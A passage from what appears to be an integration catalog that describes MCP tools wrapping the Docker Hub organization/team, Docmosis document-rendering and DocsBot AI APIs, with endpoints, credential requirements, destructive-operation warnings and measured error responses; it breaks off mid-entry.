dockerhub_post_v2_orgs_by_org_name_groups_by_group_name_members (write) — Add a member to a team. POST /v2/orgs/{org_name}/groups/{group_name}/members. Puts an EXISTING organization member into a team, which grants them every repository permission that team holds. It does not invite anyone: the person must already be a member of the organization -- use the bulk invite for someone who is not. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. POST /api/v1/dockerhub/v2/orgs/{org_name}/groups/{group_name}/members. Scopes: api. dockerhub_post_v2_repositories_by_namespace_by_repository_groups (write) — Grant a team access to a repository. POST /v2/repositories/{namespace}/{repository}/groups. Gives one organization team read, write or admin access to one repository. `write` lets every member of that team push images; `admin` lets them change the repository's settings and its other grants. The team is named by its numeric `group_id`, which the team read call returns -- not by its name. This applies to repositories owned by an ORGANIZATION. Measured 2026-09-17 against a personal namespace it answers `400 "user repositories do not have groups"`: a user's own repositories have no teams to grant, so there is nothing here to do for them. The 400 is about the repository's owner, not about the credential. POST /api/v1/dockerhub/v2/repositories/{namespace}/{repository}/groups. Scopes: api. dockerhub_put_v2_orgs_by_name_settings (write) — Update organization settings. PUT /v2/orgs/{name}/settings. Sets whether members of the organization may pull images from outside the allowed set, and which categories stay allowed when they may not. This changes what every member of the organization can pull, on every machine, as soon as it is saved: turning restriction on with both allowances off leaves members able to pull only the organization's own images. A PUT, so send the whole `restricted_images` document rather than one field of it. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. PUT /api/v1/dockerhub/v2/orgs/{name}/settings. Scopes: api. dockerhub_put_v2_orgs_by_org_name_groups_by_group_name (write) — Replace a team's details. PUT /v2/orgs/{org_name}/groups/{group_name}. Replaces the team's name and description. `name` is REQUIRED, so a call meaning only to change the description must send the existing name back or it will be rejected -- use the partial update instead when that is the intent. Renaming a team changes the name every other call addresses it by. Membership and repository grants are unaffected. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. PUT /api/v1/dockerhub/v2/orgs/{org_name}/groups/{group_name}. Scopes: api. dockerhub_put_v2_orgs_by_org_name_members_by_username (write) — Change a member's organization role. PUT /v2/orgs/{org_name}/members/{username}. Sets one member's role in the organization. `owner` is full administrative control, including billing, membership and the ability to remove other owners -- granting it is the largest privilege change this integration can make, and demoting the last owner can leave the organization unadministrable. A custom role is named by its identifier, not by its display label or uuid. CREDENTIAL FLAVOUR, and it decides whether this call can work at all: measured 2026-09-17, a Hub JWT minted from a PERSONAL access token is answered `403 "token issued from personal access token is not allowed"` here -- identically on a real organization and on the connection's own namespace, while no credential at all answers 401 on the same route. So the 403 is about the token's FLAVOUR, not about permissions: retrying it, or minting a personal token with wider access, cannot clear it. Reconnect with an ORGANIZATION access token (Docker Home -> the organization -> Identity & auth -> Access tokens), which Docker issues on a Team or Business subscription to an account with Owner permission. PUT /api/v1/dockerhub/v2/orgs/{org_name}/members/{username}. Scopes: api. ================================================================================ ## Docmosis URL: https://www.agenticfabriq.com/integrations/docmosis Section: Integrated Tools Docmosis — 21 MCP tools Provider key: docmosis. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. docmosis_get_ping (read) — Check that this processing location is reachable. Takes no arguments and answers 200 with an empty object. THIS DOES NOT CHECK YOUR CREDENTIAL: measured 2026-09-24, it answers 200 to a bogus access key too, so a successful ping says the region is up and nothing about whether the connection works. Use the environment readiness check for that. GET /api/v1/docmosis/ping. Scopes: api. docmosis_post_convert (write) — Convert a document from one format to another without a template -- DOCX to PDF and similar. The input file is passed as BASE64 and the converted file comes back as base64 with its content type and size; both directions are bounded at 1 MiB decoded, and over that the content is described and dropped rather than truncated. `outputName`'s extension decides the target format ("result.pdf" -> PDF). This is the only Docmosis operation that both takes and returns a document. POST /api/v1/docmosis/convert. Scopes: api. docmosis_post_deleteimage (write, destructive) — Delete an image from this processing location. DESTRUCTIVE AND IRREVERSIBLE: there is no recycle bin, and any template that references the image renders without it afterwards. THE REPLY IS NOT EVIDENCE THE IMAGE EXISTED: measured 2026-09-24, deleting the same name twice answers the identical 200 {"succeeded":true,"shortMsg":"Image successfully deleted"} both times. Confirm absence with the image listing, not with this answer. POST /api/v1/docmosis/deleteImage. Scopes: api. docmosis_post_deletetemplate (write, destructive) — Delete a template from this processing location. DESTRUCTIVE AND IRREVERSIBLE: there is no recycle bin and no undo, and any render that names the template afterwards fails. Answers 200 {"succeeded":true,"shortMsg":"Template successfully deleted"}. POST /api/v1/docmosis/deleteTemplate. Scopes: api. docmosis_post_environment_ready (read) — Confirm the connected Docmosis environment is activated and able to render, and confirm the access key works. Takes no arguments. Answers 200 {"succeeded":true,"shortMsg":"environment is ready"}; a wrong key answers 400 {"succeeded":false,"shortMsg":"Invalid accessKey"} -- Docmosis uses 400, never 401 or 403. This is the cheapest way to tell a working connection from a broken one, and it spends no page quota. POST /api/v1/docmosis/environment/ready. Scopes: api. docmosis_post_environment_summary (read) — Report the account name, the environment's name and activation state, the plan, and the PAGE QUOTA with the percentage used. Takes no arguments. START HERE before a large render run: Docmosis is metered by rendered page, not by API call, and this is the only tool that says how much of the allowance is left. The numbers are NESTED: read them from `accountEnvironmentSummary.pageQuota` (`quota`, `used`, `pctUsed`, `isHardLimited`), not from the top level, which carries only shortMsg and succeeded. Measured 2026-09-24 on a trial: quota 4000, isHardLimited false. POST /api/v1/docmosis/environment/summary. Scopes: api. docmosis_post_getimage (read) — Download a stored image. Answers its content type, byte length, filename and BASE64 CONTENT, bounded at 1 MiB decoded; a larger image is described and dropped rather than truncated. Use the image listing to learn the name and the size before downloading. POST /api/v1/docmosis/getImage. Scopes: api. docmosis_post_getrenderqueue (read) — Report the render queue's current capacity for this processing location: the percentage available and the delay in seconds a new render would wait. Takes no arguments and costs nothing. Worth reading before a bulk render run, and worth reading when a render is slow, because the answer distinguishes a busy service from a slow template. POST /api/v1/docmosis/getRenderQueue. Scopes: api. docmosis_post_getrendertags (read) — Report page and document counts for renders recorded against one or more tags -- the `tags` a render was submitted with, which is how Docmosis attributes usage to a project, customer or department. `tags` is REQUIRED: without it Docmosis answers 400 "tags parameter must be specified", which is a bad request rather than a credential problem. Semi-colon delimited for several tags. An empty `renderTags` array means nothing was rendered with that tag, not that the tag is invalid. POST /api/v1/docmosis/getRenderTags. Scopes: api. docmosis_post_getsampledata (read) — Return a ready-made sample `data` object matching the template's structure, with placeholder values in every field. The fastest way to get a correctly-shaped payload for the render tool: take this, replace the values, render. Set `format` to anything other than "json" for the XML form. POST /api/v1/docmosis/getSampleData. Scopes: api. docmosis_post_gettemplate (read) — Download a stored template file. Answers the file's content type, byte length, filename and BASE64 CONTENT -- the original DOCX or ODT, not its text. Bounded at 1 MiB decoded; a larger template is described and dropped rather than truncated, because a prefix of a DOCX is not a smaller DOCX. To read what FIELDS a template has, use the structure tool instead: it answers JSON and costs nothing to interpret. POST /api/v1/docmosis/getTemplate. Scopes: api. docmosis_post_gettemplatedetails (read) — Get one template's metadata: size, last-modified time, md5, description, the plain-text field delimiters it was uploaded with, and `templateHasErrors` -- which is the one worth reading before a render, because a template with errors renders differently in development and production mode. Metadata only; use the template download tool for the file itself. POST /api/v1/docmosis/getTemplateDetails. Scopes: api. docmosis_post_gettemplatestructure (read) — Return the template's field and repeating-section structure as JSON -- each field's name and the data path it reads. THIS IS HOW AN AGENT LEARNS WHAT DATA A RENDER NEEDS without opening the document: the answer names every placeholder and every repeat, so the `data` object for the render tool can be built to match. Pair it with the sample-data tool, which returns the same shape already filled in. POST /api/v1/docmosis/getTemplateStructure. Scopes: api. docmosis_post_listimages (read) — List the images stored in THIS connection's processing location, with each one's name, size, last-modified time and description. Images are what a template's placeholder images resolve to at render time; this is how a caller learns the exact `imageName` to reference. Folders appear as their own zero-byte entries. POST /api/v1/docmosis/listImages. Scopes: api. docmosis_post_listtemplates (read) — List the templates stored in THIS connection's processing location, with each one's name, size and last-modified time. START HERE before rendering: this is how a caller learns the exact `templateName` the render tool needs, including its folder prefix ("samples/WelcomeTemplate.docx"). Folders appear as their own zero-byte entries. Remember each location keeps its own separate templates -- a template uploaded to the US region is not visible from a connection set to EU. POST /api/v1/docmosis/listTemplates. Scopes: api. docmosis_post_render (write) — Render a document from a stored template and JSON data -- the flagship operation. The document comes back BASE64 under `resultFile` in the JSON reply: Docmosis streams raw bytes by default, which cannot travel through a tool result, so Agentic Fabriq sends `streamResultInResponse: true` for you and passing it as false is refused with the remedy. Over 1 MiB decoded the document is described and dropped rather than truncated -- use `storeTo` (`mailto:someone@example.com` or an `s3:` destination) to have Docmosis deliver a large one directly, in which case nothing streams. `templateName` must name a template in THIS connection's processing location, and `outputName`'s extension decides the format ("invoice.pdf" -> PDF) unless `outputFormat` overrides it. THIS OPERATION REFUSES UNKNOWN PARAMETERS: `strictParams` defaults true, so a misspelled field is a 400 naming it, not a silent no-op; set `strictParams: false` to have unknown fields treated as extra template data instead. SPENDS PAGE QUOTA, one per rendered page. POST /api/v1/docmosis/render. Scopes: api. docmosis_post_uploadimage (write, destructive) — Upload an image for templates to use, passed as BASE64 and bounded at 1 MiB decoded. DESTRUCTIVE: an upload to an `imageName` that already exists REPLACES it silently, with no previous version kept and no undo -- and because templates reference images by name, replacing one changes every document that renders afterwards. List the images first if you are not certain the name is free. POST /api/v1/docmosis/uploadImage. Scopes: api. docmosis_post_uploadtemplate (write, destructive) — Upload one template file, passed as BASE64 and bounded at 1 MiB decoded. DESTRUCTIVE: an upload to a `templateName` that already exists REPLACES it silently -- measured 2026-09-24, two different files uploaded to the same name both answered the identical "stored." while the md5 and size changed, with no previous version kept and no undo. List the templates first if you are not certain the name is free. `devMode: "true"` lets a template with errors upload anyway so the errors can be found; `keepPrevOnFail: "true"` keeps the existing template when the new one has errors. POST /api/v1/docmosis/uploadTemplate. Scopes: api. docmosis_post_uploadtemplatebatch (write, destructive) — Upload MANY templates at once as a single ZIP, passed as base64 and bounded at 1 MiB decoded. Folders inside the ZIP become folders in the account. Starts an asynchronous job and answers immediately with its status. THE JOB ID IS NESTED: read it from `jobStatus.userJobId`, NOT from the top level, which carries only the prose shortMsg that spells it out -- a caller who reads a top-level `userJobId` gets nothing and the status tool then refuses the empty id. Poll the batch status tool with it. DESTRUCTIVE: like the single upload, a template whose name already exists is REPLACED silently, and a batch can do that to many at once. Supply your own `userJobId` if you want to poll or cancel it; Docmosis generates one otherwise. POST /api/v1/docmosis/uploadTemplateBatch. Scopes: api. docmosis_post_uploadtemplatebatchcancel (write) — Cancel a batch template upload that is still running, by `userJobId`. Templates the batch has ALREADY written stay -- this abandons the remaining work rather than rolling anything back, which is why it is not marked destructive. Against a job that has already finished it answers 200 "Batch upload was already FINISHED" and changes nothing. POST /api/v1/docmosis/uploadTemplateBatchCancel. Scopes: api. docmosis_post_uploadtemplatebatchstatus (read) — Report a batch template upload's progress by `userJobId`: its status, percentage complete, a human-readable message ("1/1 templates uploaded.") and, once finished, a jobResult counting the templates uploaded with and without errors. `isEnded` is the field to poll on. Take the id from the bulk upload's nested `jobStatus.userJobId` -- measured 2026-09-24, an empty or unknown id is a 400 from Docmosis rather than an empty status. Costs nothing. POST /api/v1/docmosis/uploadTemplateBatchStatus. Scopes: api. ================================================================================ ## DocsBot AI URL: https://www.agenticfabriq.com/integrations/docsbot Section: Integrated Tools DocsBot AI — 64 MCP tools Provider key: docsbot. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. docsbot_delete_teams_by_team_id_bots_by_bot_id_research_by_job_id (write, destructive) — Cancel Deep Research. (DELETE https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/research/{job_id}) DELETE /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/research/{job_id}. Scopes: api. docsbot_delete_teams_by_teamid_bots_by_botid (write, destructive) — Delete Bot. This endpoint deletes a specific bot by its ID. (DELETE https://docsbot.ai/api/teams/{teamId}/bots/{botId}) DELETE /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}. Scopes: api. docsbot_delete_teams_by_teamid_bots_by_botid_conversations_by_conversationid (write, destructive) — Delete Conversation. This endpoint lets you delete a conversation from your bot's conversation log. Note: This endpoint requires edit permissions for the bot. (DELETE https://docsbot.ai/api/teams/{teamId}/bots/{botId}/conversations/{conversationId}) DELETE /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/conversations/{conversationId}. Scopes: api. docsbot_delete_teams_by_teamid_bots_by_botid_leads_by_leadid (write, destructive) — Delete Lead. Deletes one lead document. Permissions: Requires bot edit access (owner, admin, editor). (DELETE https://docsbot.ai/api/teams/{teamId}/bots/{botId}/leads/{leadId}) DELETE /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/leads/{leadId}. Scopes: api. docsbot_delete_teams_by_teamid_bots_by_botid_questions_by_questionid (write, destructive) — Delete Questions. This endpoint lets you delete questions from your bot's question log. To get the question ID when using the Chat Agent API, use the id from the lookup_answer event in the response, or fetch the conversation via the Conversations API and read the id from messages with type === "lookup_answer". See the Chat Agent API for details. Soft delete behavior: Delete is a soft delete: questions are not removed from the database. Instead, they are flagged with deleted: true and their content (question, answer, sources, etc.) is cleared. This allows us to retain records for plan usage tracking, analytics, and reports. Deleted questions still appear in the List Questions response—the API does not support filtering by deleted due to index limitations. If you need to exclude deleted questions, filter them client-side (e.g. questions.filter(q => !q.deleted)). (DELETE https://docsbot.ai/api/teams/{teamId}/bots/{botId}/questions/{questionId}) DELETE /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/questions/{questionId}. Scopes: api. docsbot_delete_teams_by_teamid_bots_by_botid_sources_by_sourceid (write, destructive) — Delete Source. This endpoint deletes a specific source by its ID. Please note however, that it may take several minutes for the sources to be completely removed from our services, meaning that sources may still be recommended in chat results for several minutes after deleting. (DELETE https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources/{sourceId}) DELETE /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources/{sourceId}. Scopes: api. docsbot_delete_teams_by_teamid_bots_by_botid_webhooks_by_webhookid (write, destructive) — Delete Webhook (Unsubscribe). (DELETE https://docsbot.ai/api/teams/{teamId}/bots/{botId}/webhooks/{webhookId}) DELETE /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/webhooks/{webhookId}. Scopes: api. docsbot_delete_teams_by_teamid_members (write, destructive) — Remove Team Member or Invite. This endpoint removes a team member or an outstanding invite. (DELETE https://docsbot.ai/api/teams/{teamId}/members) DELETE /api/v1/docsbot/admin/teams/{teamId}/members. Scopes: api. docsbot_get_libraries (read) — List Libraries That Can Be Searched. (GET https://api.docsbot.ai/libraries) GET /api/v1/docsbot/chat/libraries. Scopes: api. docsbot_get_teams (read) — List Teams. This endpoint lists all teams that the API key user has a role for. (GET https://docsbot.ai/api/teams) GET /api/v1/docsbot/admin/teams. Scopes: api. docsbot_get_teams_by_team_id_bots_by_bot_id_conversations_by_conv_id_summarize (read) — Generate Conversation Summary. Creates or retrieves a summary of the conversation including title, summary text, and sentiment analysis. For private bots, requires authentication. Returns cached summary if available for unauthenticated requests. Requires the Standard plan or above; DocsBot answers 402 below it. (GET https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}/summarize) GET /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}/summarize. Scopes: api. docsbot_get_teams_by_team_id_bots_by_bot_id_conversations_by_conv_id_ticket (read) — Generate Support Ticket From Conversation. Generates a structured support ticket from an existing conversation. This endpoint analyzes the conversation history and creates a well-formatted support ticket with a subject line and detailed content suitable for submission to a help desk or support system. Returns a TicketResponse object containing the subject and formatted ticket content. Requires the Standard plan or above; DocsBot answers 402 below it. (GET https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}/ticket) GET /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}/ticket. Scopes: api. docsbot_get_teams_by_team_id_bots_by_bot_id_research_by_job_id (read) — Research Job Status. (GET https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/research/{job_id}) GET /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/research/{job_id}. Scopes: api. docsbot_get_teams_by_teamid (read) — Get Team. This endpoint fetches a specific team by its ID. (GET https://docsbot.ai/api/teams/{teamId}) GET /api/v1/docsbot/admin/teams/{teamId}. Scopes: api. docsbot_get_teams_by_teamid_bots (read) — List Bots. This endpoint lists all bots for a specific team. (GET https://docsbot.ai/api/teams/{teamId}/bots) GET /api/v1/docsbot/admin/teams/{teamId}/bots. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid (read) — Get Bot. This endpoint fetches a specific bot by its ID. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_conversations (read) — List Conversations. This endpoint lists all conversations for a given team and bot. Objects are a limited subset of conversation properties. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/conversations) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/conversations. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_conversations_by_conversationid (read) — Get Single Conversation. This endpoint retrieves a specific conversation by its ID, returning all the data. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/conversations/{conversationId}) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/conversations/{conversationId}. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_image_upload_url (read) — Create Bot Image Upload URL. This endpoint creates a short-lived signed upload URL for a bot widget image. Use it when you want to upload a custom chat bubble icon, chat avatar, or header logo, then save the returned public CDN URL on the bot with Update Bot. This endpoint is only for bot branding images. Do not use the source file upload endpoint for widget images. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/image-upload-url) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/image-upload-url. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_leads (read) — List Leads. Lists leads for a bot. Permissions: Requires bot view access (owner, admin, editor, viewer; denied for none). (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/leads) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/leads. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_leads_export (read) — Export Leads CSV. Exports leads matching a date range to a signed CSV URL. Permissions: Requires bot export permission (owner, admin, editor). Also requires a plan with log export enabled. Plan gates: Also requires a plan with log export enabled (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/leads/export) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/leads/export. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_questions (read) — List Questions. This endpoint lists all questions asked of a given team and bot. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/questions) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/questions. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_reports (read) — Bot Reports (Monthly). This endpoint returns the list of available monthly reports and the report data for a selected month. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/reports) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/reports. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_research (read) — List Research Jobs. This endpoint lists deep research jobs for a bot. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/research) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/research. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_research_by_jobid (read) — Get Research Job Details. This endpoint retrieves a single research job by ID. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/research/{jobId}) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/research/{jobId}. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_sources (read) — List Sources. This endpoint lists sources for the given team and bot with pagination. Plan gates: tags: Requires Standard plan or higher (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_sources_by_sourceid (read) — Get Source. This endpoint fetches a specific source by its ID. This will return the full source object unlike listing. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources/{sourceId}) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources/{sourceId}. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_sources_by_sourceid_download (read) — Download uploaded file (download). Use when: Single-file sources (no files array). Both endpoints return a JSON object with a signed url and suggested filename. The fileName query parameter accepts either the relative path from files[].p (for example guides/setup.pdf) or just the basename. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources/{sourceId}/download) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources/{sourceId}/download. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_sources_by_sourceid_download_file (read) — Download uploaded file (download-file). Use when: Multi-file sources; download one member file by its p value. Both endpoints return a JSON object with a signed url and suggested filename. The fileName query parameter accepts either the relative path from files[].p (for example guides/setup.pdf) or just the basename. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources/{sourceId}/download-file) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources/{sourceId}/download-file. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_sources_tag_counts (read) — Get Source Tag Counts. Returns how many sources are assigned to each configured tag key, plus an untagged count. Useful for building tag filter UIs without paginating through every source. Requires Standard plan or higher (bot must have retrieverTags configured). Plan gates: Requires Standard plan or higher (bot must have retrieverTags configured) (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources/tag-counts) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources/tag-counts. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_stats (read) — Get Bot Statistics. This endpoint provides aggregated statistics for a bot over a specified time period. Plan gates: avgSentimentData: number[] Average sentiment scores per date (agent mode only, business plan) | conversationTopicLabels: string[] Labels for conversation topics (agent mode only, business plan) | conversationTopicData: object Topic data per date, keyed by topic name (agent mode only, business plan) | conversationTopicPieLabels: string[] Labels for topic distribution pie chart (agent mode only, business plan) | conversationTopicCounts: number[] Counts for topic distribution (agent mode only, business plan) | Some fields (like sentiment data and topic analytics) require specific plan levels (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/stats) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/stats. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_upload_url (read) — Create a Presigned Upload URL. We do not support POSTing binary files directly with the create source endpoint. Instead, upload files to temporary cloud storage with presigned URLs, then reference those paths when you create the source. Temporary uploads live under user/{userId}/team/{teamId}/bot/{botId}/ and are automatically purged after 24 hours. Request a presigned upload URL for each file you want to upload. The fileName parameter is appended to the temp upload prefix. It may include subdirectories (for example upload_123_abc12/docs/report.pdf) when uploading multiple files into the same folder. Filenames are preserved as provided (including spaces) so existing single-file upload scripts remain compatible; only path traversal and other unsafe values are rejected. The endpoint returns: url — PUT the file bytes here with Content-Type: application/octet-stream.; file — The temp storage path to pass as file when creating a single-file source, or as part of a fileDir prefix for multi-file sources. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/upload-url) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/upload-url. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_webhooks (read) — List registered webhooks. DocsBot documents this only as a one-line summary. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/webhooks) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/webhooks. Scopes: api. docsbot_get_teams_by_teamid_bots_by_botid_webhooks_by_webhookid (read) — Get one webhook. DocsBot documents this only as a one-line summary. (GET https://docsbot.ai/api/teams/{teamId}/bots/{botId}/webhooks/{webhookId}) GET /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/webhooks/{webhookId}. Scopes: api. docsbot_get_teams_by_teamid_members (read) — List Team Members. This endpoint lists all members for a given team. (GET https://docsbot.ai/api/teams/{teamId}/members) GET /api/v1/docsbot/admin/teams/{teamId}/members. Scopes: api. docsbot_patch_teams_by_teamid_bots_by_botid_sources_by_sourceid (write) — Update Source Title. Update the dashboard label for a source without reindexing. Only URL list (urls), website-mapped URL lists (website), sitemap, and multi-file document sources support title updates. Single-file documents store the title in the vector index, so PATCH returns HTTP 409. All other source types return HTTP 409 as well. (PATCH https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources/{sourceId}) PATCH /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources/{sourceId}. Scopes: api. docsbot_patch_teams_by_teamid_bots_by_botid_webhooks_by_webhookid (write) — Update status, target URL, label, expiration. DocsBot documents this only as a one-line summary. Request body not documented. (PATCH https://docsbot.ai/api/teams/{teamId}/bots/{botId}/webhooks/{webhookId}) PATCH /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/webhooks/{webhookId}. Scopes: api. docsbot_post_teams (write) — Create Team. This endpoint creates a new team for the API key user. (POST https://docsbot.ai/api/teams) POST /api/v1/docsbot/admin/teams. Scopes: api. docsbot_post_teams_by_team_id_bots_by_bot_id_ask (write) — Question And Answer (Legacy). (POST https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/ask) POST /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/ask. Scopes: api. docsbot_post_teams_by_team_id_bots_by_bot_id_chat (write) — Chat Or Question And Answer. (POST https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/chat) POST /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/chat. Scopes: api. docsbot_post_teams_by_team_id_bots_by_bot_id_chat_agent (write) — Chat Or Question And Answer Using Retreival Agent. (POST https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/chat-agent) POST /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/chat-agent. Scopes: api. docsbot_post_teams_by_team_id_bots_by_bot_id_conversations_by_conv_id_lead (write) — Capture Lead And Update Conversation Metadata. Capture lead by updating conversation metadata and saving to leads collection. (POST https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}/lead) POST /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}/lead. Scopes: api. docsbot_post_teams_by_team_id_bots_by_bot_id_fetch (write) — Fetch Document. (POST https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/fetch) POST /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/fetch. Scopes: api. docsbot_post_teams_by_team_id_bots_by_bot_id_research (write) — Start Deep Research. (POST https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/research) POST /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/research. Scopes: api. docsbot_post_teams_by_team_id_bots_by_bot_id_research_by_job_id (write) — Continue Deep Research. (POST https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/research/{job_id}) POST /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/research/{job_id}. Scopes: api. docsbot_post_teams_by_team_id_bots_by_bot_id_search (write) — Semantic Search. (POST https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/search) POST /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/search. Scopes: api. docsbot_post_teams_by_teamid_bots (write) — Create Bot. This endpoint creates a new bot in a team. Plan gates: embeddingModel: Default is text-embedding-3-small for free plans, text-embedding-3-large for paid English bots, and embed-v4 | retrieverTags: Requires Standard plan or above (POST https://docsbot.ai/api/teams/{teamId}/bots) POST /api/v1/docsbot/admin/teams/{teamId}/bots. Scopes: api. docsbot_post_teams_by_teamid_bots_by_botid_sources (write) — Create Source. This endpoint creates a new source for a bot. Plan gates: processImages: Requires Standard plan or higher | ocr: Requires Standard plan or higher | tags: Requires Standard plan or higher (POST https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources) POST 